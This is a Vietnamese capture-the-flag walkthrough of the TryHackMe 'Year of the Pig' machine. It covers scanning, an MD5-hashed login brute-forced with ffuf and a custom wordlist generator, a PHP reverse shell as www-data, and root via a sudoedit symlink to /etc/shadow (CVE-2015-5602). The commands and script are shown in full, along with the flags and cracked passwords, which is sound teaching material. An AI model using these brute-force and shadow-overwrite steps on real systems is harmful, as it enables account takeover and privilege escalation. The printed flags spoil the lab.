Icon

Year of the Pig

Some pigs do fly...

November 4, 2025 September 3, 2025 Hard
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Trước hết, chúng ta thêm domain vào file /etc/hosts để định nghĩa tên miền:

10.10.139.77 pig.thm

Service Scanning

┌──(hungnt㉿kali)-[~]
└─$ rustscan -a pig.thm -r 1-65535 -- -A

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 9899F13BCC614EE8275B88FFDC0D04DB
|_http-title: Marco's Blog
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
...

Như vậy ta chỉ phát hiện được 2 dịch vụ chính: SSH và HTTP, với thông tin phiên bản cho biết hệ điều hành là Ubuntu.

HTTP 80

Front Page

image

Khi truy cập, ta thấy đây là một blog cá nhân của Marco, chủ yếu nói về máy bay. Nếu có khu vực quản trị, username khả dĩ nhất sẽ là marco, hoặc admin, root.

Directory Enumeration

Để tìm thêm, ta thực hiện directory scan bằng ffuf:

┌──(hungnt㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://pig.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 100

image

Kết quả phát hiện một số thư mục quan trọng, trong đó có /admin, /api/login.php.

/api

image

/api, server chỉ chấp nhận POST request, có thể tính năng này đang được sử dụng ở nơi khác.

/login.php

Còn /admin redirect sang /login.php, hiển thị form login yêu cầu chúng ta nhập username và password.

image

Ta thử đăng nhập với một số default credentials như marco:password, marco:marco, marco:Password, hoặc admin:admin nhưng đều thất bại.

image

image

Khi chặn request bằng Burp Suite, ta nhận thấy password không gửi dạng plain-text mà được hash bằng MD5 ngay trên trình duyệt. Điều này được xác nhận trong source code của trang login.

image

Tiếp theo, ta thử kiểm tra SQL Injection bằng cách nhập payload thông thường và cả time-based payload, nhưng không có kết quả.

image

image

Đây có thể không phải hướng đúng.

Cùng nhìn lại thông báo lỗi khi nhập sai, ta thấy hệ thống gợi ý rằng password có dạng một từ dễ nhớ, theo sau là 2 số và một ký tự đặc biệt. Điều này cho thấy dictionary attack là khả thi.

image

Trước hết, chúng ta lọc ra tất cả các mật khẩu trong rockyou.txt theo mẫu đã mô tả, rồi áp dụng hàm băm MD5 cho từng mật khẩu. Kết quả là có khoảng hơn 21 nghìn mật khẩu được trích xuất, mỗi mật khẩu đã được chuyển thành MD5 hash và lưu trong file passwords_md5.txt.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ grep -E '^[A-Za-z]+[0-9]{2}[^A-Za-z0-9]$' /usr/share/wordlists/rockyou.txt > passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l passwords.txt                                                                                                                                      
21937 passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 10 passwords.txt 
hannie55?
AZUL05+
sweet16!
cool12!
asssucker10-
mikh11!
dodgers94.
sweet16.
sup23@
sausage06*

┌──(hungnt㉿kali)-[~/Desktop]
└─$ while read -r line; do
    echo -n "$line" | md5sum | awk '{print $1}'
done < passwords.txt > passwords_md5.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 10 passwords_md5.txt 
de5838c9be309d350bcb5f9836b0356a
a8df2453f9539e42dd587a61a951bfae
1b55da0ab6119fb99e582756e67642a0
e176fa3fb47bedb7226460266e6853c9
735586ba652f8efd1c814390e8b59a10
2e2e2b16768f165795ed8e4119c60276
4ea713da71ca607603953e2cce045341
9a454b328a119ed2eadf1bb2811f2b11
433ce7d545e758d68865511835a155fb
9f825a175656c5499ae12d47212fd8b1

Dictionary Attack

Sau đó, chúng ta thử dùng Hydra để brute force với username marco và wordlist passwords_md5.txt.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ hydra -l marco -P passwords_md5.txt pig.thm http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:Incorrect' -V

image

Tuy nhiên, Hydra trả về rất nhiều false positive.

image

Khi kiểm tra lại bằng Wireshark, thay vì nhận được thông báo Incorrect Username or Password, server lại trả về Bad Connection. Đây có thể là do User-Agent mặc định của Hydra khiến server phản hồi khác đi.

image

Vì Hydra không cho phép chỉnh sửa header, chúng ta chuyển sang dùng ffuf để tấn công. Công cụ này linh hoạt hơn, cho phép tùy chỉnh User-Agent và Content-Type.

image

Chúng ta nhận được phản hồi có size là 63 cho các credentials sai. Ta cần xác nhận server trả về phản hồi mong đợi là Incorrect Username or Password.

image

image

Server đã phản hồi đúng nhưng mong đợi. Chúng ta sẽ chạy lại ffuf nhưng lần này loại trừ những response có size là 63:

┌──(hungnt㉿kali)-[~/Desktop]
└─$ ffuf -w passwords_md5.txt -X POST -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Content-Type: text/plain;charset=UTF-8" -d '{"username":"marco","password":"FUZZ"}' -u http://pig.thm/api/login -t 64 -fs 63

image

Tuy nhiên, khi chạy tấn công thực sự với ffuf và loại trừ response có size 63, chúng ta không thu được bất kỳ kết quả hợp lệ nào.

Custom Wordlist

Vì đây là một blog cá nhân, nên chủ blog có thể đã để lộ một phần mật khẩu ngay trên website. Do đó, chúng ta sẽ dùng cewl để crawl toàn bộ trang nhằm thu thập một danh sách từ, từ đó tạo ra wordlist phục vụ cho dictionary attack.

Chúng ta bắt đầu từ trang chính, đặt độ sâu là 5 và xuất kết quả ra file words.txt.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cewl -d 5 http://pig.thm -w words.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l words.txt 
167 words.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 20 words.txt 
the
and
but
About
planes
now
time
know
there
Planes
years
all
was
Marco
flying
for
Italian
like
behind
ago

Kết quả thu được là 167 từ. Lúc này chúng ta có thể nhờ ChatGPT viết một script Python để tạo một wordlist hoàn chỉnh dựa trên mô tả mật khẩu. Với mỗi từ trong words.txt, chúng ta tạo ra 3 biến thể gồm viết thường, viết hoa toàn bộ và viết hoa chữ cái đầu, sau đó thêm 2 chữ số và một ký tự đặc biệt. Cuối cùng, script sẽ xuất ra các hash MD5 vào một file.

#!/usr/bin/env python3
import sys
import hashlib

# Define which special characters to use
SPECIALS = "!@#$%^&*"

def base_variants(word: str):
    """Return the 3 base variants of a word."""
    word = word.strip()
    if not word:
        return []
    return [word.lower(), word.upper(), word.capitalize()]

def generate(word: str):
    """Generate word[0-9][0-9][special] variants for each base form."""
    for variant in base_variants(word):
        for d in range(100):  # 00 to 99
            for ch in SPECIALS:
                pwd = f"{variant}{d:02d}{ch}"
                yield pwd

def md5_hash(text: str) -> str:
    """Return the MD5 hash of the text."""
    return hashlib.md5(text.encode()).hexdigest()

def main(input_file, output_file):
    # "w" mode ensures the file is overwritten each run
    with open(input_file, "r", encoding="utf-8", errors="ignore") as infile, \
         open(output_file, "w", encoding="utf-8") as outfile:
        
        for line in infile:
            word = line.strip()
            for pwd in generate(word):
                outfile.write(md5_hash(pwd) + "\n")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <input_wordlist> <output_file>")
        sys.exit(1)

    main(sys.argv[1], sys.argv[2])

Chúng ta lưu đoạn code này với tên gen.py.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ py gen.py words.txt passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l passwords.txt 
400800 passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 20 passwords.txt 
c6147f769ab7c56f89c2f08dc168ee18
d5db5a2cb62b89b2bba66dfd5951c56a
44743742c135fa7c4bf1f5b08c325d11
ef77b29744eecd64c30f9a70f9f6e3ef
96ee22559234b5b977d7c3104359b6f1
7f21d5653a8d4e99303689ffada67219
0a04f1f70a1292839340e88313ef38ee
dad79978d9574b27973dc505801f391d
dd36594a77b75b7d71e030848490905a
1ebda87b5f6ea690d7576a7418ba378e
d06b66dc64f845ee9e5c1cc2c906969b
ca10cfcd98a7333e8c1b8f644f21ad39
14742cf984eb364b3c83d94274aebe8d
d1c48dc536d90775dc504c4dfe339665
6cb1e50aa088be3531a651b3244076bd
16bc325e67fea04eeed3e143b085fec3
c2209d0ef8c54993ebdc5bc8c2962744
08cab14daaa6e9342461d0f99ae529a6
531b5ac5dd56c4f2b6d2cb4a68d55824
2d504c1042335e8584ed13369728b8e9

Sau khi đã tạo wordlist, chúng ta tiếp tục thực hiện một dictionary attack:

ffuf -w passwords.txt -X POST -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Content-Type: text/plain;charset=UTF-8" -d '{"username":"marco","password":"FUZZ"}' -u http://pig.thm/api/login -t 100 -fs 63

image

Lần này chúng ta thấy có 3 hash với kích thước response khác 63.

image

Để lấy lại mật khẩu gốc, chúng ta chỉ cần chỉnh sửa script một chút để output ra plain-text thay vì MD5 hash, rồi đối chiếu dòng trùng khớp với hash hợp lệ.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat passwords.txt | grep ea22b622ba9b3c41b22785dcb40211ac -n
72169:ea22b622ba9b3c41b22785dcb40211ac

image

Kết quả, chúng ta xác định được mật khẩu của marcosavoia21!. Chúng ta đăng nhập với thông tin này.

image

Không có gì đáng chú ý hơn ngoài trang web cho phép thực thi command trên hệ thống.

image

Tuy nhiên, sau vài lần thử, chúng ta nhận ra rằng mình không thể thực thi command tùy ý vì có hạn chế. Vậy tại sao không SSH trực tiếp vào máy với user marco thay vì dựa vào web shell?

Shell as marco

image

flag1.txt

marco@year-of-the-pig:~$ cd ~
marco@year-of-the-pig:~$ ls -la
total 24
drwxr-xr-x 2 marco marco 4096 Aug 22  2020 .
drwxr-xr-x 4 root  root  4096 Aug 16  2020 ..
lrwxrwxrwx 1 root  root     9 Aug 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 marco marco 3771 Apr  4  2018 .bashrc
-r-------- 1 marco marco   38 Aug 22  2020 flag1.txt
-rw-r--r-- 1 marco marco  807 Apr  4  2018 .profile
marco@year-of-the-pig:~$ cat flag1.txt 
THM{MDg0MGVjYzFjY2ZkZGMzMWY1NGZiNjhl}

Sudo Permissions

image

User này không có quyền chạy sudo trên target.

web-developers Group

Chúng ta nhận thấy rằng user marco thuộc nhóm web-developers. Vì vậy, chắc chắn user này có liên quan đến thư mục /var/www.

image

image

image

Trong thư mục /var/www/html thì không có gì đặc biệt, ngoại trừ file admin.db nằm ở /var/www, nhưng file này chỉ có thể đọc bởi user www-data.

image

Do không thể thực thi command tùy ý trên web, chúng ta kiểm tra source code của /var/www/html/admin/commands.php.

image

Ở đây ta thấy nó chỉ cho phép chạy một số command nhất định chứ không hề thực thi tùy ý.

Thay vì chỉnh sửa trực tiếp code, chúng ta upload một PHP reverse shell payload để tạo kết nối reverse shell dưới quyền user www-data. Khi đó, chúng ta có thể đọc được file admin.db.

image

Shell as www-data

image

Password Discovery

Bây giờ chúng ta đã truy cập được file admin.db.

image

May mắn là trên target đã có sẵn sqlite3, nên không cần phải tải file này về máy để phân tích. Trước tiên, chúng ta cần ổn định shell để có thể tương tác tốt hơn với sqlite3.

www-data@year-of-the-pig:/var/www$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ww$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@year-of-the-pig:/var/www$ sqlite3 admin.db
sqlite3 admin.db
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> .tables
.tables
sessions  users   
sqlite> .schema users
.schema users
CREATE TABLE users (
userID TEXT UNIQUE PRIMARY KEY,
username TEXT UNIQUE,
password TEXT);
sqlite> select * from users;
select * from users;
58a2f366b1fd51e127a47da03afc9995|marco|ea22b622ba9b3c41b22785dcb40211ac
f64ccfff6f64d57b121a85f9385cf256|curtis|a80bfe309ecaafcea1ea6cb3677971f2

Sau khi truy vấn cơ sở dữ liệu, chúng ta phát hiện một password hash khác của user curtis. Hash này có thể crack dễ dàng bằng CrackStation.

image

Kết quả, chúng ta có được mật khẩu của curtis: Donald1983$.

Shell as curtis

Chúng ta chuyển sang user curtis để tiếp tục quá trình enumerate.

flag2.txt

marco@year-of-the-pig:/var/www/html/admin$ su curtis
Password: 
curtis@year-of-the-pig:/var/www/html/admin$ cd ~
curtis@year-of-the-pig:~$ ls -la
total 28
drwxr-xr-x 3 curtis curtis 4096 Sep  3 09:59 .
drwxr-xr-x 4 root   root   4096 Aug 16  2020 ..
lrwxrwxrwx 1 root   root      9 Aug 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 curtis curtis  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 curtis curtis 3771 Apr  4  2018 .bashrc
-r-------- 1 curtis curtis   38 Aug 22  2020 flag2.txt
drwx------ 3 curtis curtis 4096 Sep  3 09:59 .gnupg
-rw-r--r-- 1 curtis curtis  807 Apr  4  2018 .profile
curtis@year-of-the-pig:~$ cat flag2.txt 
THM{Y2Q2N2M1NzNmYTQzYTI4ODliYzkzMmZh}

Sudo Permissions

image

Với sudo -l, ta thấy rằng curtis được phép chạy sudoedit trên file /var/www/html/*/*/config.php.

Thực chất sudoedit chỉ là một chế độ trong sudo cho phép chỉnh sửa file một cách an toàn thay mặt user root. Tuy nhiên, vì có ký tự wildcard nên khả năng cao là sẽ có gì đó đặc biệt ở đây liên quan đến việc leo quyền.

Sau khi tìm kiếm trên Google về các kỹ thuật leo quyền liên quan đến sudoedit, chúng ta biết rằng phiên bản sudo này dính lỗ hổng CVE-2015-5602.

image

Nói ngắn gọn, file chỉ định sau sudoedit có thể được tạo thành một symbolic link trỏ tới các file quan trọng trong hệ thống như /etc/passwd hoặc /etc/shadow. Do đó, chỉnh sửa những file này với quyền root sẽ dẫn đến việc chiếm tài khoản và leo quyền.

Nhưng vì user curtis không nằm trong nhóm web-developers, nên chúng ta không có quyền ghi trong /var/www/html. Do đó, ta chuyển lại sang marco để tạo một symbolic link trỏ tới /etc/shadow.

image

curtis@year-of-the-pig:~$ exit
exit
marco@year-of-the-pig:~$ cd /var/www/html
marco@year-of-the-pig:/var/www/html$ cd assets/img/
marco@year-of-the-pig:/var/www/html/assets/img$ ln -s /etc/shadow ./config.php
marco@year-of-the-pig:/var/www/html/assets/img$ ls -la
total 188
drwxrwxr-x 2 www-data web-developers   4096 Sep  3 10:42 .
drwxrwxr-x 4 www-data web-developers   4096 Aug 20  2020 ..
-rw-r--r-- 1 root     root              156 May 15  2020 arrow.png
lrwxrwxrwx 1 marco    marco              11 Sep  3 10:42 config.php -> /etc/shadow
-rwxrwxr-x 1 www-data web-developers 106905 Aug 17  2020 favicon.ico
-rwxrwxr-x 1 www-data web-developers  66886 Aug 16  2020 plane.png

Tiếp theo, ta quay lại curtis và dùng sudoedit trên file config.php mà ta vừa tạo trong thư mục /var/www/html/assets/img/.

image

Thật lạ đúng không? Hệ thống báo rằng user curtis không được phép, trong khi sudo -l lại nói ngược lại.

Điều này xảy ra vì đây là sudoedit, hơi khác một chút so với các lệnh sudo thông thường. Thực ra sudoedit chỉ là một mode trong sudo, và nó chỉ là một liên kết (link) đến binary gốc của sudo. Nếu chúng ta thêm sudo ở đầu, nghĩa là ta đã gọi sudo hai lần, dẫn đến lỗi.

curtis@year-of-the-pig:/var/www/html/assets/img$ /usr/bin/sudoedit /var/www/html/assets/img/config.php

Khi chạy đúng cách, giờ ta đã có thể chỉnh sửa được file /etc/shadow.

image

Chúng ta thay đổi mật khẩu của root thành “password” với salt “1337” bằng cách tạo hash thông qua openssl.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1337 password
$6$1337$w9cUtLoSVMBl27Kk/NGCP0ucMv4aKOlwGhDH/AvXhLityyxdqJ863tqopSAYwGvs0.ySgy8MzOjGJV3MtXM7a1

image

Shell as root

Sau khi lưu lại file, chúng ta SSH vào máy với user root bằng mật khẩu vừa đặt.

image

root.txt

root@year-of-the-pig:~# ls -la
total 36
drwx------  5 root root 4096 Aug 22  2020 .
drwxr-xr-x 22 root root 4096 Aug 16  2020 ..
lrwxrwxrwx  1 root root    9 Aug 16  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Aug 16  2020 .cache
drwx------  3 root root 4096 Aug 16  2020 .gnupg
drwxr-xr-x  3 root root 4096 Aug 21  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   38 Aug 22  2020 root.txt
-rw-r--r--  1 root root   42 Aug 16  2020 .vimrc
root@year-of-the-pig:~# cat root.txt 
THM{MjcxNmVmYjNhYzdkZDc0M2RkNTZhNDA0}